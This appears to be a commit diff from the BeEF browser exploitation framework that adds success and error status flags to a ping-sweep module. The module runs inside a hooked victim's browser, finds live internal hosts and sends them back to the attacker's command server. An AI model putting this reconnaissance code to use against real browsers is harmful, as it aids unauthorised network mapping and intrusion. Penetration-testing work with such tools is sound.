Add ARE status
This commit is contained in:
@@ -28,11 +28,11 @@ beef.execute(function() {
|
||||
output = document.pingSweep.getAliveHosts();
|
||||
clearTimeout(int_timeout);
|
||||
clearTimeout(ext_timeout);
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ps=Alive hosts:<br>'+output.replace(/\n/g,"<br>"));
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ps=Alive hosts:<br>'+output.replace(/\n/g,"<br>"), beef.are.status_success());
|
||||
beef.dom.detachApplet('pingSweep');
|
||||
return;
|
||||
}else{
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ps=No hosts to check');
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ps=No hosts to check', beef.are.status_error());
|
||||
return;
|
||||
}
|
||||
} catch (e) {
|
||||
|
||||
Reference in New Issue
Block a user